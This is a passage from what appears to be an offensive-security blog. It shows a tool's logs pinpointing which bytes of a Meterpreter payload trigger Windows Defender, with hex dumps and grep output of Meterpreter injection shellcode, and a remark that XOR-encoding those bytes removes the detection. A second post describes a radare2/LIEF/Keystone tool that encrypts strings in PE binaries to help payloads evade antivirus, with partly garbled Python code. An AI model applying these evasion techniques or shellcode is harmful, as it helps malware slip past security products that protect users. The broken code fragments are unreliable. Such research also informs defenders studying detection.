00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() :: Found 32 bytes variable @ 0x6c863220:
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() :: Found 32 bytes variable @ 0x6c863240:
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() :: Found 32 bytes variable @ 0x6c863260:
[DEBUG   ][2021-08-28 17:12:35,920][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() :: Found 32 bytes variable @ 0x6c863280:
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() :: Found 608 bytes variable @ 0x6c8632a0:
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() ::
00000000: 4F 4E 73 64 4E 52 76 53  4D 71 64 73 63 68 63 6D  ONsdNRvSMqdschcm
00000010: 64 67 4C 5A 4A 4A 71 63  51 68 7A 73 6C 42 69 7A  dgLZJJqcQhzslBiz
00000020: 4B 49 7A 71 43 6F 6D 76  52 6A 77 73 64 69 68 65  KIzqComvRjwsdihe
00000030: 70 74 51 66 64 4A 68 6C  6B 6F 64 4D 4A 67 4C 4B  ptQfdJhlkodMJgLK
00000040: 62 53 65 61 47 74 43 59  6D 73 6D 78 74 77 71 6C  bSeaGtCYmsmxtwql
00000050: 69 77 52 63 4C 69 6D 4E  68 63 64 77 73 65 46 55  iwRcLimNhcdwseFU
00000060: 6C 69 65 75 4D 67 56 4E  62 6F 4B 6B 4A 57 73 70  lieuMgVNboKkJWsp
00000070: 4B 59 4F 50 76 65 56 49  5A 75 66 65 62 51 6E 52  KYOPveVIZufebQnR
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() :: Found 289 bytes variable @ 0x6c863500:
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() :: Found 111 bytes variable @ 0x6c863621:
[DEBUG   ][2021-08-28 17:12:35,921][] print_global_variables() ::
00000000: 83 C4 50 48 89 FC C3 00  00 00 00 00 00 00 00 00  ..PH............
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 55  ...............U
00000020: 89 E5 56 57 8B 75 08 8B  4D 0C E8 00 00 00 00 58  ..VW.u..M......X
00000030: 83 C0 2B 83 EC 08 89 E2  C7 42 04 33 00 00 00 89  ..+......B.3....
00000040: 02 E8 0F 00 00 00 66 8C  D8 66 8E D0 83 C4 14 5F  ......f..f....._
00000050: 5E 5D C2 08 00 8B 3C E4  FF 2A 48 31 C0 57 FF D6  ^]....<..*H1.W..
00000060: 5F 50 C7 44 24 04 23 00  00 00 89 3C 24 FF 2C     _P.D$.#....<$.,
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() :: Found 16 bytes variable @ 0x6c863690:
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() ::
00000000: 24 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  $...............
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() :: Found 32 bytes variable @ 0x6c8636a0:
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() :: Found 992 bytes variable @ 0x6c8636c0:
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
00000020: 00 37 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  .7.l............
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 10 73 84 6C 00 00 00 00  40 72 84 6C 00 00 00 00  [email protected]
00000050: 30 76 84 6C 00 00 00 00  20 6D 84 6C 00 00 00 00  0v.l.... m.l....
00000060: D0 65 84 6C 00 00 00 00  00 79 84 6C 00 00 00 00  .e.l.....y.l....
00000070: D0 62 84 6C 00 00 00 00  80 69 84 6C 00 00 00 00  .b.l.....i.l....
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() :: Found 2016 bytes variable @ 0x6c863aa0:
[DEBUG   ][2021-08-28 17:12:35,922][] print_global_variables() ::
00000000: 0C 00 00 00 00 00 00 00  F0 D2 84 6C 00 00 00 00  ...........l....
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() :: Found 32 bytes variable @ 0x6c864280:
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() ::
00000000: 61 61 61 72 65 61 74 65  61 68 72 61 61 64 61 78  aaareateahraadax
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() :: Found 32 bytes variable @ 0x6c8642a0:
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() ::
00000000: 61 61 61 72 61 74 65 61  69 61 74 61 61 6C 61 65  aaarateaiataalae
00000010: 6D 61 72 61 00 00 00 00  00 00 00 00 00 00 00 00  mara............
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() :: Found 160 bytes variable @ 0x6c8642c0:
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() ::
00000000: 00 00 00 00 01 00 00 00  03 00 00 00 07 00 00 00  ................
00000010: 0F 00 00 00 1F 00 00 00  3F 00 00 00 7F 00 00 00  ........?.......
00000020: FF 00 00 00 FF 01 00 00  FF 03 00 00 FF 07 00 00  ................
00000030: FF 0F 00 00 FF 1F 00 00  FF 3F 00 00 FF 7F 00 00  .........?......
00000040: FF FF 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 20 69 6E 66 6C 61 74 65  20 31 2E 30 2E 34 20 43   inflate 1.0.4 C
00000070: 6F 70 79 72 69 67 68 74  20 31 39 39 35 2D 31 39  opyright 1995-19
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() :: Found 32 bytes variable @ 0x6c864360:
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  C0 43 86 6C 00 00 00 00  .........C.l....
00000010: 00 00 00 00 13 00 00 00  07 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,923][] print_global_variables() :: Found 32 bytes variable @ 0x6c864380:
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() ::
00000000: 60 D6 86 6C 00 00 00 00  20 44 86 6C 00 00 00 00  `..l.... D.l....
00000010: 00 00 00 00 1E 00 00 00  0F 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() :: Found 128 bytes variable @ 0x6c8643a0:
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() ::
00000000: E0 D6 86 6C 00 00 00 00  A0 44 86 6C 00 00 00 00  ...l.....D.l....
00000010: 01 01 00 00 1E 01 00 00  0F 00 00 00 00 00 00 00  ................
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000060: 02 00 00 00 03 00 00 00  07 00 00 00 00 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() :: Found 96 bytes variable @ 0x6c864420:
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 01 00 00 00 01 00 00 00  02 00 00 00 02 00 00 00  ................
00000020: 03 00 00 00 03 00 00 00  04 00 00 00 04 00 00 00  ................
00000030: 05 00 00 00 05 00 00 00  06 00 00 00 06 00 00 00  ................
00000040: 07 00 00 00 07 00 00 00  08 00 00 00 08 00 00 00  ................
00000050: 09 00 00 00 09 00 00 00  0A 00 00 00 0A 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,924][] print_global_variables() :: Found 4 bytes variable @ 0x6c864480:
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() :: Found 4 bytes variable @ 0x6c864484:
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() ::
00000000: 0B 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() :: Found 4 bytes variable @ 0x6c864488:
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() :: Found 4 bytes variable @ 0x6c86448c:
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() ::
00000000: 0C 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() :: Found 4 bytes variable @ 0x6c864490:
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() ::
00000000: 0D 00 00 00                                       ....
[DEBUG   ][2021-08-28 17:12:35,925][] print_global_variables() :: Found 12 bytes variable @ 0x6c864494:
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() ::
00000000: 0D 00 00 00 00 00 00 00  00 00 00 00              ............
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() :: Found 192 bytes variable @ 0x6c8644a0:
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() ::
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000020: 01 00 00 00 01 00 00 00  01 00 00 00 01 00 00 00  ................
00000030: 02 00 00 00 02 00 00 00  02 00 00 00 02 00 00 00  ................
00000040: 03 00 00 00 03 00 00 00  03 00 00 00 03 00 00 00  ................
00000050: 04 00 00 00 04 00 00 00  04 00 00 00 04 00 00 00  ................
00000060: 05 00 00 00 05 00 00 00  05 00 00 00 05 00 00 00  ................
00000070: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() :: Found 96 bytes variable @ 0x6c864560:
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() ::
00000000: 40 12 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
00000010: FF FF FF FF FF FF FF FF  00 00 00 00 00 00 00 00  ................
00000020: 02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000030: 70 0E 86 6C 00 00 00 00  90 0D 86 6C 00 00 00 00  p..l.......l....
00000040: 60 0D 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  `..l............
00000050: F0 0E 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645c0:
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() ::
00000000: 10 0F 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  ...l............
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645d0:
[DEBUG   ][2021-08-28 17:12:35,926][] print_global_variables() ::
00000000: 40 10 86 6C 00 00 00 00  00 00 00 00 00 00 00 00  @..l............
[DEBUG   ][2021-08-28 17:12:35,927][] print_global_variables() :: Found 16 bytes variable @ 0x6c8645e0:
[DEBUG   ][2021-08-28 17:12:35,927][] print_global_variables() ::
00000000: 32 A2 DF 2D 99 2B 00 00  00 00 00 00 00 00 00 00  2..-.+..........
[DEBUG   ][2021-08-28 17:12:35,927][] print_global_variables() :: Found 2576 bytes variable @ 0x6c8645f0:
[DEBUG   ][2021-08-28 17:12:35,927][] print_global_variables() ::
00000000: CD 5D 20 D2 66 D4 FF FF  00 00 00 00 00 00 00 00  .] .f...........
00000010: 68 69 64 5F 74 5F 63 5F  70 5F 5F 6F 52 78 50 46  hid_t_c_p__oRxPF
00000020: 78 74 49 39 78 45 62 00  68 69 64 5F 70 5F 69 5F  xtI9xEb.hid_p_i_
00000030: 70 5F 5F 76 4E 53 37 5A  7A 32 33 57 35 75 49 00  p__vNS7Zz23W5uI.
00000040: 68 69 64 5F 68 5F 74 5F  74 5F 5F 75 46 55 34 43  hid_h_t_t__uFU4C
00000050: 69 62 42 65 58 70 49 00  5A 77 57 72 69 74 65 56  ibBeXpI.ZwWriteV
00000060: 69 72 74 75 61 6C 4D 65  6D 6F 72 79 00 63 3A 5C  irtualMemory.c:\
00000070: 77 69 6E 64 6F 77 73 5C  73 79 73 74 65 6D 33 32  windows\system32
[DEBUG   ][2021-08-28 17:12:41,182][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpuqgr4pyb...
[DEBUG   ][2021-08-28 17:12:41,183][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:41,183][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:41,183][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:41,417][] hide_bytes() :: Hiding 4608 bytes @ 133152
[DEBUG   ][2021-08-28 17:12:46,799][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpz4xqjxpi...
[DEBUG   ][2021-08-28 17:12:46,799][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:46,799][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:46,799][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:46,983][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:47,044][] hide_bytes() :: Hiding 32 bytes @ 137760
[DEBUG   ][2021-08-28 17:12:52,377][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpe3g3inki...
[DEBUG   ][2021-08-28 17:12:52,377][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:52,378][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:52,378][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:52,571][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:52,637][] hide_bytes() :: Hiding 32 bytes @ 137792
[DEBUG   ][2021-08-28 17:12:57,946][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp3uzv03yw...
[DEBUG   ][2021-08-28 17:12:57,947][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:12:57,947][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:12:57,947][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:12:58,148][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:12:58,205][] hide_bytes() :: Hiding 32 bytes @ 137824
[DEBUG   ][2021-08-28 17:13:03,503][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpynvakvrg...
[DEBUG   ][2021-08-28 17:13:03,503][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:03,503][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:03,503][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:03,711][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:03,773][] hide_bytes() :: Hiding 32 bytes @ 137856
[DEBUG   ][2021-08-28 17:13:09,083][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpqg26sa32...
[DEBUG   ][2021-08-28 17:13:09,083][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:09,083][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:09,083][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:09,280][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:09,334][] hide_bytes() :: Hiding 608 bytes @ 137888
[DEBUG   ][2021-08-28 17:13:14,691][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmphtzs4acy...
[DEBUG   ][2021-08-28 17:13:14,692][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:14,692][ 99] scan() :: EngineScanCallback(): Threat ALF:HSTR:MeterpreterAPIHashingX64 identified.
[DEBUG   ][2021-08-28 17:13:14,692][ 99] scan() :: Threat found
[DEBUG   ][2021-08-28 17:13:14,864][] global_vars_analysis() :: True -  ALF:HSTR:MeterpreterAPIHashingX64
[DEBUG   ][2021-08-28 17:13:14,934][] hide_bytes() :: Hiding 289 bytes @ 138496
[DEBUG   ][2021-08-28 17:13:20,336][ 99] scan() :: main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmpv1pa0e29...
[DEBUG   ][2021-08-28 17:13:20,336][ 99] scan() :: EngineScanCallback(): Scanning input
[DEBUG   ][2021-08-28 17:13:20,482][] global_vars_analysis() :: False - Nothing
[INFO    ][2021-08-28 17:13:20,483][] global_vars_analysis() :: Windows Defender detects this global variable:
[INFO    ][2021-08-28 17:13:20,483][ 70] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..
[INFO    ][2021-08-28 17:13:20,483][] global_vars_analysis() :: Done ! You should patch these bytes:
[INFO    ][2021-08-28 17:13:20,483][ 81] display() :: 608 bytes @ 137888:
[INFO    ][2021-08-28 17:13:20,483][ 86] display() ::
00000000: FC 80 79 10 00 0F 85 13  01 00 00 C6 41 10 01 48  ..y.........A..H
00000010: 83 EC 78 E8 C8 00 00 00  41 51 41 50 52 51 56 48  ..x.....AQAPRQVH
00000020: 31 D2 65 48 8B 52 60 48  8B 52 18 48 8B 52 20 48  1.eH.R`H.R.H.R H
00000030: 8B 72 50 48 0F B7 4A 4A  4D 31 C9 48 31 C0 AC 3C  .rPH..JJM1.H1..<
00000040: 61 7C 02 2C 20 41 C1 C9  0D 41 01 C1 E2 ED 52 41  a|., A...A....RA
00000050: 51 48 8B 52 20 8B 42 3C  48 01 D0 66 81 78 18 0B  QH.R .B<H..f.x..
00000060: 02 75 72 8B 80 88 00 00  00 48 85 C0 74 67 48 01  .ur......H..tgH.
00000070: D0 50 8B 48 18 44 8B 40  20 49 01 D0 E3 56 48 FF  [email protected] I...VH.
[INFO    ][2021-08-28 17:13:20,483][ 81] display() :: 289 bytes @ 138496:
[INFO    ][2021-08-28 17:13:20,484][ 86] display() ::
00000000: FC 48 89 CE 48 89 E7 48  83 E4 F0 E8 C8 00 00 00  .H..H..H........
00000010: 41 51 41 50 52 51 56 48  31 D2 65 48 8B 52 60 48  AQAPRQVH1.eH.R`H
00000020: 8B 52 18 48 8B 52 20 48  8B 72 50 48 0F B7 4A 4A  .R.H.R H.rPH..JJ
00000030: 4D 31 C9 48 31 C0 AC 3C  61 7C 02 2C 20 41 C1 C9  M1.H1..<a|., A..
00000040: 0D 41 01 C1 E2 ED 52 41  51 48 8B 52 20 8B 42 3C  .A....RAQH.R .B<
00000050: 48 01 D0 66 81 78 18 0B  02 75 72 8B 80 88 00 00  H..f.x...ur.....
00000060: 00 48 85 C0 74 67 48 01  D0 50 8B 48 18 44 8B 40  [email protected]
00000070: 20 49 01 D0 E3 56 48 FF  C9 41 8B 34 88 48 01 D6   I...VH..A.4.H..

So, our tool shows two distinct variables that together trigger Windows Defender’s detection. However, they do not stand out as straight out malicous. To explain this result, we could either disassemble these bytes, or reflect that since they are located in the .data section, then they are used as initialised data by a function in the .text section. A simple grep inside the Meterpreter codebase reveals that we’re looking at two shellcodes:

grep -arA 5 'FC\\x80' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE apc_stub_x64[] =        "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
grep -arA 5 'FC\\x48' metasploit-payloads/c/meterpreter/source/                                                                                                                                                              
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c:BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
metasploit-payloads/c/meterpreter/source//metsrv/base_inject.c-                         "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"

A simple xor encrpytion on these shellcodes suffices to make the detection go away, while keeping it functional.

Closing thoughts

That’s about it for the way our tool works. It is however held together with hope and duct tape, so don’t expect it to work out-of-the-box for your specific use case. Instead, consider it as a library to quickly pinpoint your antivirus detection’s strategy if the detection is made statically, and then run the different analysis to attempt to dump the signatures, or build a new one for your AV if it works a bit differently. We hope we’ll have the chance to continue improving it!

Vladimir Meier / @plowsec

Statically encrypt strings in a binary with Keystone, LIEF and radare2/rizin

By: plowsec
11 April 2022 at 10:09

In our journey to try and make our payload fly under the radar of antivirus software, we wondered if there was a simple way to encrypt all the strings in a binary, without breaking anything. We did not find any satisfying solution in the literature, and the project looked like a fun coding exercise so we decided it was worth a shot.

By the end of it, we succeeded partly, and realised that the approach is not directly suited for antivirus evasion, as this tool’s limitations do not allow antivirus bypass on its own. That’s why we then made avcleaner, which operates on source code directly.

Still, the tool presented in this blog posts brings in some binary hacking that we believe might be of some value to the community, and who knows, someone might end up doing something useful with it.

Currently, we plan to use it along another antivirus bypass tool in order to better target the strings to be encrypted.

General idea

Our idea was to encrypt in place all the strings in PE file. To avoid breaking the software, it is obviously mandatory to allow decryption of the string as soon as it is needed. For that to work, one should inject a decryption routine within the binary, and somehow call it when the string is used.

The best approach would be to decompile the binary, locate strings usages and wrap them in a decryption routine. However, frameworks such as ret-dec,, mcsema and so on were not mature enough at the time.

In view of that, our solution relies on lief for the binary manipulation, radare2 / rizin for the program analysis, and keystone for code injection.

The process is as follows:

  1. Enumerate and encrypt strings with radare2.
  2. Locate cross-references to each of these strings, also with radare2.
  3. With gcc, build a decryption routine as Position Indepent Code (PIC).
  4. With lief, carve out this decryption routine and inject it in the target binary as a new section.
  5. For each xref, patch the instruction that loads the strings in registers, the stack or whatever.
  6. Insert a call instruction to hijack the execution flow and divert it to the decryption routine.
  7. Return to the original instruction.

These last steps require storing the string’ size and the return address, so we use lief as well to build a kind of jump table.

Here is an artistic diagram for clarity:

Workflow overview


This section goes over the implementation details and demonstrates the use of keystone, lief and radare2 to accomplish our goal.

Enumerate strings

Strings can be enumerated with the iz command of radare2.


For each recovered string, we should encrypt it in place and build the corresponding jump table (described in the subsequent sections).

def encrypt_strings(binary):

    r2 =".patch", flags=["-w"])
    all_strings = get_strings(r2)
    previous_block_sz = 0
    nb_encrypted_strings = 0

    for index, string in enumerate(all_strings):
        decoded_string = base64.b64decode(string["string"])
        binary = lief.parse(BINARY+".patch") # is this needed?

        # hook the binary where the string is referenced. Skip if the string
        # is used several times.
        can_proceed, original_instruction = patch_xref(binary, string, r2, previous_block_sz)
        if not can_proceed:

        # encrypt the string in .data (or whatever else) section.
        encrypted = encrypt_string(KEY, base64.b64decode(string["string"]).decode()) # convert_encoding(string["type"])
        encoded = base64.b64encode(encrypted.encode()).decode()
        r2.cmd(f"w6d {encoded} @ {string['vaddr']}")

        # prepare the trampoline for the hook.
        # takes care of decrypting the string and resuming the original control flow.
        binary = lief.parse(BINARY+".patch") # is this needed?
        previous_block_sz += add_jump_table_section(binary, r2, string, previous_block_sz, original_instruction[0]) # TODO handle > 1 opcodes
        nb_encrypted_strings += 1"Successfully encrypted {nb_encrypted_strings}/{len(all_strings)} strings!")

The “encryption algorithm” for this Proof-of-Concept is actually a simple Vigenere:D, but you can roll your own crypto obviously. Luckily for us, antivirus can be fooled with Vigenere, so let’s not waste time on this.

Patch the cross-reference

